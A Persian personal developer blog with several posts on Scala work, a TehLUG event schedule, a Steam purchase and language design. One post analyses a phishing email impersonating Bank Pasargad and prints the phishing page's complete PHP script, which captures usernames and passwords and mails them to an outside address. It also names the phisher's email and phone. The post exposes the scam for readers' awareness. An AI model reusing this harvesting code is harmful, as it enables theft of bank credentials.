مکان و زمان دقیق برگزاری جشن ده سالگی لاگ

همونطور که قبلا گفتم برای جشن ده سالگی لاگ یه ارائه دارم که به اسکالا مربوط میشه. قرار شد زمان و مکان دقیقش رو اعلام کنم.

زمان: پنج‌شنبه مورخ ۱۵ مردادماه از ساعت ۹
مکان: تهران – خیابان ملاصدرا- خ شیراز شمالی – خ حکیم اعظم – پلاک ۳۰ – موسسه آموزش عالی خاتم (​لینک گوگل‌مپ)

جزئیات برنامه‌ها:

یک و نیم ساعت ابتدایی:

کلاس ۱۰۵: گام‌های نخست آزادی (قسمت اول) (آشنایی تئوری و عملی با گنو/لینوکس) توسط دانیال بهزادی از گروه کاربران ایرانی اوبونتو
کلاس ۲۰۵: خدمات متقابل اندروید و لینوکس توسط رضا محمدی از شرکت کافه بازار
کلاس ۱۰۳: تجربه‌ای عملی با زبان اسکالا (سختی‌ها و راه‌حل‌های پیاده‌سازی نمودن سایت پربازدید و پرتراکنش نمایشگاه کتاب ۹۴ با زبان اسکالا) توسط امیر کریمی
کلاس ۱۰۴: توسعه وب با زبان Go توسط فرود غفوری از شرکت وادا (آزمونا)
کلاس ۱۰۶: نرم‌افزار کنترل ورژن Git توسط سعید رسولی از شرکت پارس‌پویش
کلاس ۱۰۷: آشنایی با ابزارهای ذخیره‌سازی و تحلیل داده‌های بزرگ توسط فرید دهقان

نیم ساعت میانی:
طبقه منفی یک: پذیرایی

یک و نیم ساعت میانی:
کلاس ۱۰۵: گام‌های نخست آزادی (قسمت دوم) (آشنایی تئوری و عملی با گنو/لینوکس) توسط دانیال بهزادی از گروه کاربران ایرانی اوبونتو
کلاس ۲۰۵: شروع طراحی وب در گنو/لینوکس توسط پیام صادری از Xenon, Copywriting Agency
کلاس ۱۰۳: Create your own language توسط حمیدرضا سلیمانی از شرکت بیسفون
کلاس ۱۰۴: نوشتن Library با JavaScript توسط افشین مهربانی
کلاس ۱۰۶: آشنایی با هسته لینوکس توسط سعید تقوی
کلاس ۱۰۷: کسب درآمد توسعه دهندگان و تجاری سازی نرم افزارهای آزاد و متن باز توسط علیرضا حسین‌نژاد

نیم ساعت پایانی:
طبقه همکف، سالن ۳۰۰ نفره: برنامه عمومی و اختتامیه

پس وعده دیدار ما ۱۵ مرداد ساعت ۹ کلاس ۱۰۳ :)

منبع اطلاعات: ایمیل بهنام توکلی به لیست پستی لاگ. اطلاعات بیشتر در سایت تهلاگ.

۱۲م مرداد ۱۳۹۴ بازدید: 56 دسته بندی: فناوری , متفرقه دیدگاه‌ها: ۸

خطای کمبود RAM روی سرور مجازی

از اونجایی که من با اسکالا و پلی فریمورک کار میکنم معمولا مجبورم سرورهام رو خودم راه اندازی و نگهداری کنم (که البته فهمیدم که از این کار خیلی لذت میبرم). برای یکی از سرورها به یه مشکلی خورده بودم که بدجوری اذیتم میکرد و خوشبختانه امروز حل شد.

برای دست گرمی این تجربه رو به انگلیسی نوشتم که حس میکنم زیاد جذاب نیست ولی بهتر از هیچیه:

https://coderwall.com/p/c1z3vq/jvm-s-insufficient-memory-error-and-the-swap

به قول خارجی‌ها Your feedback is very welcome

۱۰م مرداد ۱۳۹۴ بازدید: 34 دسته بندی: فناوری دیدگاه‌ها: ۴

ارائه تجربیات پروژه‌های اسکالا

چند وقت پیش تصمیم گرفتم تجربیاتی که توی پروژه‌های نمایشگاه کتاب (ثبت نام ناشران و بن کتاب) داشتم رو توی تهلاگ (TehLug) ارائه بدم. خیلی از بچه‌ها هم لطف داشتن و استقبال کردن. به هر حال قرار شد برای جشن ده سالگی لاگ که ۱۵ مرداد هست، جزو یکی از ۱۲ کارگاه تخصصی این مناسبت باشه.

خوشبختانه برنامه‌ریزی این جشن داره با دقت زیاد توسط بهنام توکلی و بقیه جلو میره.

من هنوز اسلایدهای ارائه رو آماده نکردم ولی خیلی در موردش فکر کردم! یه صحبت‌هایی دارم که فکر میکنم یه کم متفاوت هست. علاوه بر اینکه از نظر فنی کلی حرف هست که باید بزنم از نظر فلسفی و فکری و … هم حرفایی هست که معمولا زده نمیشه و فکر میکنم خیلی به برنامه‌نویسا و گیک‌ها کمک میکنه. هر چی باشه من داره ۳۰ سالم میشه و کم کم وقت نصیحت کردن جوونترها داره میرسه 😀

کلا حس خیلی خیلی مثبتی به این ارائه دارم و امیدوارم همه چیز به خوبی و خوشی پیش بره. تنها نگرانیم این هست که زمان برای درست کردن اسلایدها خیلی کم دارم!

زمان دقیق ارائه‌ها رو نمیدونم ولی همونطور که گفتم ۱۵ مرداد هست یعنی ۹ روز دیگه. شرکت در این جشن برای همه آزاد و رایگانه. از همینجا از همه علاقه‌مندان به برنامه‌نویسی و خصوصا گیگ‌های عزیز دعوت میکنم که حتما شرکت کنن. مخصوصا توی ارائه من 😀

در صورتی که اطلاعات بیشتری به دستم برسه حتما اطلاع رسانی میکنم.

۶م مرداد ۱۳۹۴ بازدید: 65 دسته بندی: فناوری , متفرقه دیدگاه‌ها: ۵

رها سازی Xcala

منظورم از رها سازی همون Release هست!

Xcala (اِکس کالا) یک کتابخانه از کدهای پر کاربرد برای تولید نرم‌افزارهای تحت وب با اسکالا، Play و MongoDB هست.

بعد از تجربه Xoqal (زغال) حالا یک سالی هست که سعی کردم تجربیات و کدهای پر استفاده‌ام روی اسکالا رو داخل یه پروژه به عنوان یه Application Library جمع کنم. امروز این پروژه که اسمش Xcala هست و تاحالا بیشتر از ۱۰ تا پروژه از جمله وب سایت نمایشگاه کتاب تهران، سیستم فروش بن کتاب نمایشگاه بین‌المللی، سیستم ثبت نام ناشران نمایشگاه کتاب و چندتا پروژه‌های دیگه روی این کتابخونه بنا شدن.

هر چند این پروژه نیاز داره یه کمی پولیش بشه ولی به هر حال حاصل یک سال تجربه کارم با اکو سیستم اسکالاست.

پ.ن: دیگه علاقه‌ای به نوشتن مطالب فنی به زبان فارسی ندارم. اگر از زبان انگلیسیسم مطمئن بودم و استرس سوتی دادن گرامری نداشتم همین الان کل این وبلاگ رو جمع میکردم و به طور کامل به زبان انگلیسی وبلاگ می‌نوشتم. دیر یا زود باید این اتفاق بیفته چون جامعه نرم‌افزار فارسی زبان به شدت کوچیکه و خیلی خیلی کم فعال هستند و وقتی آدم یه حرکتی میکنه کاملا احساس تنهایی میکنه.

۲۷م تیر ۱۳۹۴ بازدید: 96 دسته بندی: فناوری دیدگاه‌ها: ۶

رعایت کپی رایت: خرید از استیم

تقریبا خیلی وقته که استیم روی لینوکس هم اجرا میشه و به زودی هم کنسول استیم که بر پایه لینوکس ساخته شده وارد بازار میشه. این استیم بهانه خرید نکردن و دزدی بازی‌ها رو هم کمتر کرده. هر چند باز هم خریدش کلی دردسر داره ولی اگر یه حساب Paypal یا هرچیز بین المللی دیگه داشتیم خرید ازش چند ثانیه بیشتر طول نمیکشید.

امروز موفق شدم بالاخره بعد از سه روز تلاش از طریق Payment24 بازی Counter-Strike رو از استیم بخرم. قبل از این کلی نسخه کرک شده این بازی رو گرفته بودم و همه‌شون پر از مشکل بودن (اگر تروجان نبوده باشن). ولی این نسخه پولی واقعا با کیفیت هست! به طرز عجیبی با نسخه‌های کرک شده فرق داره و عالی اجرا میشه بدون باگ و مشکل و کاملا با لینوکس سازگاره. ۳۰ هزار تومن واقعا برای خرید یه همچین برنامه‌های با کیفیتی هیچ پولی نیست. نوش جونشون.

امیدوارم یه روزی تحریم‌ها به حدی برداشته بشه که بتونیم خودمون به نام خودمون و با آدرس خودمون اکانت Paypal و Visa داشته باشیم و پول‌ها به طور مستقیم به حساب خودمون بیاد و از حساب خودمون برداشت بشه.

۲۷م تیر ۱۳۹۴ بازدید: 72 دسته بندی: فناوری , متفرقه دیدگاه‌ها: ۳

فیشینگ بانک پاسارگاد – پیدا کردن هکر

یه ایمیل برام اومد که با یه روش قدیمی و شناخته شده سعی در هک کردن اکانت حساب بانکی پاسارگادم داره؛ فیشینگ (Phishing).

pishing_pasargad

همنوطور که تو تصویر بالا قابل مشاهده هست لینک داخل ایمیل در ظاهر دقیقا لینک دسترسی به اینترنت بانک پاسارگاد هست ولی در باطن لینک شده به یه سایت دیگه که دقیقا عین سایت اصلی ساخته شده فقط هرچی توی فیلدهای این صفحه بنویسیم (شامل نام کاربری و کلمه عبور) رو برای هکر میفرسته و بعد هم صفحه اصلی بانک رو نشون میده تا یه وقت به چیزی شک نکنیم و فکر کنیم که احتمالا خودمون فیلدی رو اشتباه وارد کردیم. با یه مهندسی اجتماعی ساده (اینکه کسی ۶ میلیون تومن پول ریخته به حسابمون) هم سعی کرده تحریکمون کنه که حتما لاگین کنیم.

pishing_pasargad_2

جالب اینجاست که این هک برای انگلیسی زبان‌ها ساخته شده و درگاه پرداخت اصلی هم به زبان انگلیسی هست.

خوشبختانه هم خود Thunderbird تشخیص داد که این ایمیل جعلی هست و هم وقتی روی لینک کلیک میکنیم یه پیغام میده که ظاهر این لینک با آدرسی که بهش اشاره کرده نمی‌خونه ولی اگر هکر یه کم حرفه‌ای‌تر بود میتونست کاری کنه که ایمیل اسپم نشه و این هشدار هم داده نشه. به هر حال من شک ندارم حداقل ۸۰ درصد مردم متوجه هیچ کدوم از این مسائل نمی‌شن و نام کاربری و کلمه عبورشون رو برای هکر میفرستن! متاسفانه، به همین راحتی.

به روز رسانی

خوشبختانه مثل اینکه این هکر ما یه مقداری ناشی هست. اگر به مسیر روت سایت فیشینگ برید میبیند که Directory Listing سرور رو نبسته و از اون بدتر نسخه zip شده سایت رو هم گذاشته روی سرور این یعنی سورس این صفحه در دسترس هست. کد PHP این صفحه فیشینگ به شکل زیره:

<?php  
$ip = getenv("REMOTE_ADDR");  

$message .= "--------------INFORMATION-------------------\n"; 
$message .= "User: ".$_POST['username']."\n"; 
$message .= "Pass: ".$_POST['password']."\n";
$message .= "IP: ".$ip."\n"; 
$message .= "---------------Created By Kizito +6289524438862--------------------\n"; 

$send = "kizito.bank@gmail.com"; 
$subject = "Pasargad"; 
$headers = "From:  iben.bpi.ir"; 
mail($send,$subject,$message,$headers); 

header("Location: https://iben.bpi.ir/");  
?> 

همونطور که مشخصه ایمیلی که اطلاعات قربانی‌ها براش ارسال میشه kizito.bank@gmail.com هست و البته برنامه‌نویس یه تلفن هم گذاشته (که مال اندونزی هست)! یه سناریو میتونه این باشه که یه آدم غیر فنی سفارش این هک رو به یه فریلنسر داده و ازش تحویل گرفته ولی موقعه بارگذاری چون مسائل امنیتی رو نمی‌دونسته اینطوری کدها رو در معرض دید عموم قرارداده. این برنامه‌نویس کلاه سیاه هم تلفنش رو گذاشته بوده واسه تبلیغ تا در انتهای هر ایمیل که برای کارفرما ارسال میشه در پایین نام کاربری و کلمه عبور قربانی‌ها بیاد. به قول معروف امضاء خودش رو اونجا گذاشته.

۱۷م تیر ۱۳۹۴ بازدید: 163 دسته بندی: فناوری , متفرقه دیدگاه‌ها: ۲

چه ابزاری بهتره؟

امروز بعد از ساعت کاری با بچه‌های شرکت راستین تو شبکه داخلی Counter Strike بازی کردیم. خیلی حال داد ولی من یه ایده جالب از این بازی گرفتم.

به نظرم توی این بازی میشه با دوتا استراتژی جلو رفت:

  1. یک سلاح رو که از همه بهتره برداریم و کلا بچسبیم به همون و دیگه درگیر خرید و تعویض و این چیزها نشیم
  2. از انواع سلاح و ابزار استفاده کنیم. مثلا استفاده از نارنجک، Shield و … که در این صورت لازمه حسابی توی تعویض ابزارها و استفاده به موقعه ازشون حرفه‌ای بشیم

قطعا استراتژی اول زودتر جواب میده و آدم سریع راه میفته، از طرفی دومی سختتره ولی اگر توش حرفه‌ای بشیم میتونه خیلی موثرتر و کاراتر باشه. یه مثال میزنم؛ من و یکی از بچه‌ها توی این بازی خیلی بی تجربه هستیم، تا حدی که دوستان میومدن از پشت با چاقو ما رو میکشتن! یه بار من یه Shield برداشتم و هم تیمیم هم پشت سر من اومد تا رسیدم به دشمن، من Shield رو گذاشتم جلوم و به هم تیمی گفتم نارنجک بنداز! خیلی راحت مقاومت کردیم. هر چند هم تیمیم حول شد و رفت جلو و خودش رو به کشتن داد و من هم Shield رو برداشتم تا تیر بزنم که من هم مردم. ولی درس اخلاقی اینجاست؛ با اینکه ما تجربه کمی داشتیم ولی به خاطر داشتن امکانات خوب بیشتر دووم اوردیم و حتی باعث شدیم دشمنمون که خیلی حرفه‌ای بود شوکه بشه!

این حکایت زبان‌های برنامه‌نویسی ساده و پیچیده هست. زبان‌های ساده مثل Go و Python و زبان‌های پیچیده‌تر مثل Scala و Rust. کار با زبان Go یا Python مثل کار با یک سلاح خاصه بدون اجازه خلاقیت و عدم وجود چند راه برای انجام یه ماموریت. اما کار با زبان Scala یا Rust یا هر زبانی که ازش به عنوان یه زبان پیچیده یاد میشه مثل استفاده از چند سلاح و ابزار و وجود چند راه مختلف برای انجام یه مامویت هست. به عبارت دیگه مثل چاقو سوئیسی هستن.

من ترجیح میدم بتونم از امکانات بیشتری برخوردار باشم. اگر قراره توی یه زبان برنامه‌نویسی حرفه‌ای باشم باید امکانات زیادی داشته باشه، هرچند یادگیریش سخت باشه.

نکته: Simple != Easy ؛ ممکنه چیزهایی که ما امروز پیچیده میدونیمشون، بعدها ازشون به عنوان یه چیز ساده (نه الزاما آسون) یاد بشه.

۷م تیر ۱۳۹۴ بازدید: 230 دسته بندی: فناوری , مدیریت دیدگاه‌ها: ۵

حال و احوال و تغییرات

تغییرات

وقتی وبلاگ میخونم خیلی از لحن نوشته تاثیر میگیرم. هرچی لحن نوشته صمیمی‌تر و خودمونی‌تر باشه بیشتر به دلم میشینه و لذت بیشتری می‌برم. سعی کردم یه کم تحقیق کنم که واقعا برای نوشتن یه وبلاگ فنی باید چه لحنی داشت، که به نتیجه‌ای نرسیدم. به هر حال بهترین کار اینه که امتحان کنیم. برای همین از این به بعد (برای مدتی نا مشخص) لحن نوشته‌های این وبلاگ به شکلی که میبینید خواهد بود تا ببینیم چی میشه. یعنی مثلا به جای است میگم هست، به جای را میگم رو و کلا عصا قورت نمیدم. به امید اینکه به مذاق خودم و خواننده خوش بیاد. به هر حال من آدم عصا قورت داده‌ای نیستم و احتمالا این سبک به شخصیت خودم نزدیکتره.

اتفاقات این دو سه ماه

متاسفانه از فرودین هیچ پستی نذاشتم. بدجوری سرم شلوغ بود. خیلی خبرا بود.

اول از همه از اواخر پارسال یه قرارداد شش ماهه با شرکت راستین افزار آریا بستم تا سه روز در هفته حضور فیزیکی توی شرکت داشته باشم که تقریبا دو ماه دیگه ازش مونده. آخرین باری که به این شکل کار کردم یادم نیست! تا اینجا که خیلی جالب بود و درسهای خوبی گرفتم و البته پولش هم خوبه :) ولی هنوز نمیدونم دلم میخواد مثلا برای یه شش ماهه دیگه ادامه بدم یا نه. دلیل این تصمیم این بود که بتونم به صورت خیلی منظم‌تر (سه روز دیگه هفته رو) روی پروژه شخصی خودم کار کنم که البته انقدر کارهای دیگه پیش اومد که نشد مرتب و منظم روش کار کنم.

بعد از ۲۸ سال برگزاری نمایشگاه کتاب تهران، برای اولین بار سیستم ثبت نام ناشران این نمایشگاه به شکل الکترونیکی انجام شد. این یک پروژه یک نفره بود که خوشبختانه انجام شد ولی متاسفانه خانه کتاب و خیلی‌های دیگه همکاری نکردن و کار اونطوری که دوست داشتم نشد. مهمتر از همه ما کار رو کوچکتر از چیزی که بود در نظر گرفته بودیم و بعضی از ناشرا اذیت شدن. از همه مهمتر واقعا از سواد کم کامپیوتری ناشرای محترم کشورمون شدیدا در تعجب هستم!

از طرف دیگه همزمان با راه اندازی سیستم  ثبت نام نمایشگاه کتاب، سیستم بن کتاب رو هم دوباره به شکل یک نفره پیاده سازی و اجرا و راه اندازی کردم. بیشتر از ۲۰۰ هزار نفر از طریق این سیستم ثبت نام کردند (که میشه بیشتر از ۸ میلیارد تومن).

اینکه میگم یک نفره بود، منظورم طراحی و برنامه‌نویسی و نصب و راه اندازی و اینهاست. تقریبا یه تیم سه نفره درگیر پشتیبانی فیزیکی و ایمیلی و این چیزها بودن که واقعا زحمت کشیدن. به هر حال این دوتا سیستم داغونم کرد. مخصوصا که سه روز در هفته رو نداشتم و خلاصه خیلی سخت بود ولی برای اولین بار یاد گرفتم که وقتی آدم یه کاری داره و تلفنش زنگ میخوره میتونه جواب نده! یا بهتر از اون میشه تلفن رو خاموش کرد!!! نکته مهم اینه که بعدش هیچ اتفاق خاصی نمیفته. واقعا درس بزرگی بود.

دیگه اینکه پولی که من بابت این دوتا پروژه گرفتم هیچ سنخیتی با پولی که از طریق این سیستم‌ها جابجا شد یا حتی صرفه‌جویی که شد، نداره! همینکه به من اطمینان کردن که برای اولین بار توی کشور چهارتا وب سایت پر کاربرد رو با زبان ناشناخته‌ای مثل اسکالا تولید کنم فعلا راضی هستم.

یه خبر مهم دیگه اینکه قراره برای ۱۰ سالگی تهلاگ (Tehlug) (اگر نشه شاید یکی از جلسات معمولی لاگ) یه ارائه کامل داشته باشم از تجربیاتی که برای این دوتا پروژه داشتم. احتمالا طیف مطالبش گسترده باشه. از برنامه‌نویسی و بانک اطلاعات و … تا نگهداری سرور و پاسخگویی به ۵۰۰ درخواست در ثانیه و خوابیدن سرور و … ولی هرچی هست اسکالا نقش پررنگی داره.

چند وقت پیش هم یه لاینس IntelliJ IDEA خریدم. به مناسبت ۲۰مین سالگرد تولد زبان جاوا یه تخفیف خوب داده بودن. با Payment24 پرداخت کردم. در کل شد حدود ۵۰۰ هزار تومن. اولش خیلی خوشحال بودم. بعد که باهاش کار کردم دیدم ساپورتش از Play Framework یه مقداری ضعیفه. از قضا چند روز قبل از اینکه IDEA رو بخرم Scala IDE یه نسخه جدید داده بود که نسبت به نسخه قبلی خیلی بهتر شده بود، پشتیبانیش از Play هم از IDEA کنونی بهتره، هرچند IDEA هر زبان و پلتفرمی که فکرش رو بکنید پشتیبانی میکنه. به هر حال هر کدوم از این ابزارها یه حسن‌هایی دارن و به مرور زمان بهتر هم میشن. واقعا نمیدونم چرا اول نسخه Trialش رو نصب نکردم بعد بخرمش!

فرصت که پیدا میکنم سریال Silicon Valley رو هم دارم میبینم که بسیار بسیار به مذاق ماها خوش میاد :)

۴م تیر ۱۳۹۴ بازدید: 153 دسته بندی: فناوری , کسب و کار , متفرقه , مدیریت دیدگاه‌ها: ۲

Push the Limits

پل گراهام (Paul Graham) سازنده سیستم فروشگاهی است که بعدا توسط یاهو خریداری شد و Yahoo Store نام گرفت. این سیستم فروشگاهی با زبان Lisp نوشته شده است. خود پل گراهام میگوید که Lisp یک زبان عجیب و غریب است ولی برای کاری که میخواستند انجام بدهند مناسب بود و توانستند با استفاده از تکنولوژی که بقیه کمتر از آن استفاده میکردند مزیت رقابتی داشته باشند و در نهایت موفق شوند.

دیوید هاینمیر هانسن زمانی که بر روی نرم‌افزار بیس کمپ کار میکرد شروع به تولید یک چارچوب تحت وب نمود. او از زبانی استفاده کرد که در آن زمان کمتر کسی حتی اسمش را شنیده بود. آن زبان روبی بود و آن چارچوب روبی آن ریلز نام گرفت!

این مثال‌ها را برای این زدم که بگویم بلوغ یک سیستم بستگی به استفاده کنندگان از آن سیستم دارد. من خودم همیشه به این مسئله شک میکنم که شاید بهتر است به جای کار کردن با اسکالا و یا هر چیز کمتر شناخته شده با زبان‌های ساده‌تر و مرسوم تر که توسط بیشتر برنامه نویس‌ها استفاده میشود کار کنم. مثل جاوا، جاوا اسکریپت، پایتون، روبی و … به عبارت دیگر دنباله رو دیگران باشم.

معمولا اکثریت مردم حرف درست را میزنند ولی وقتی به کار پل گراهام یا دیوید هاینمیر هانسن و خیلی از افراد پیشرو دیگر فکر میکنم متوجه می‌شوم که برای جابجا کردن محدودیت‌ها اتفاقا نباید دنباله روی اکثریت بود.

هزینه این کار می‌تواند زیاد باشد ولی نتیجه آن بسیار با ارزشتر خواهد بود.

بلوغ اکوسیستم اسکالا یا هر تکنولوژی کمتر شناخته شده دیگر بستگی به خود ما دارد و نیازی نیست منتظر افراد دیگر باشیم تا مسیر را به ما نشان بدهند. تمام افراد شناخته شده و موفق، خودشان مسیرشان را ساختند و منتظر ساخته شدن مسیر نبودند.

تنها نکته مهم این است که به مسیری که مشغول ساختن آن هستیم علاقه و ایمان داشته باشیم و از شکست نترسیم. اگر فقط یک مسیر درست وجود داشت و قرار بود همه از آن مسیر حرکت کنند، نو آوری و خلاقیت و موفقیت و خیلی چیزهای دیگر و در نهایت زندگی اصلا معنی نداشت.

۱۴م فروردین ۱۳۹۴ بازدید: 412 دسته بندی: فناوری , کسب و کار , متفرقه , مدیریت دیدگاه‌ها: ۷

کوتاه ترین برنامه TODO لیست MVC و بقیه ماجرا

از زمانی که Scala.js از حالت آزمایشی خارج شد، ظاهرا تکاپو برای ایجاد چارچوب‌هایی که بتوان فقط با زبان اسکالا، هم برای سمت سرور و هم برای سمت کلاینت کد زد افزایش پیدا کرده. یکی از زیباترین این تلاش‌ها که قطعا در آینده این روند تاثیر گذار است چارچوب Widok‌ است. از دیگر نمونه‌های بسیار بسیار جالب Monifu است که هم بروی JVM و هم بر روی Scala.js (یعنی در مرورگر) اجرا می‌شود. قطعا در چند سال آینده شاهد این روند خواهیم بود که سیستم‌های بزرگی بر روی زبان‌های مدرن مثل Scala و Rust وجود خواهند داشت که به طور کامل توسط این زبان‌ها پیاده شده‌اند (مثلا سمت کلاینت با JavaScript کار نشده است).

همه چارچوب‌ها به عنوان نمونه یک لیست TODO ساده را پیاده‌سازی میکنند. نمونه پیاده‌سازی شده با Widok کمترین تعداد خط کد در بین این نمونه‌ها را دارد (۸۹ خط)!

پیشنهاد میکنم همین الان SBT یا Activator را نصب کنید و با اجرای سه دستور زیر و سپس باز کردن فایل application.html خروجی این برنامه را ببینید. واقعا امیدوار کننده‌ست.

$ git clone git@github.com:widok/todomvc.git
$ cd todomvc
$ sbt fastOptJS

پ.ن. لطفا برای یادگیری اسکالا از چنین مثال‌هایی شروع نکنید

۲۷م اسفند ۱۳۹۳ بازدید: 369 دسته بندی: فناوری دیدگاه‌ها: ۲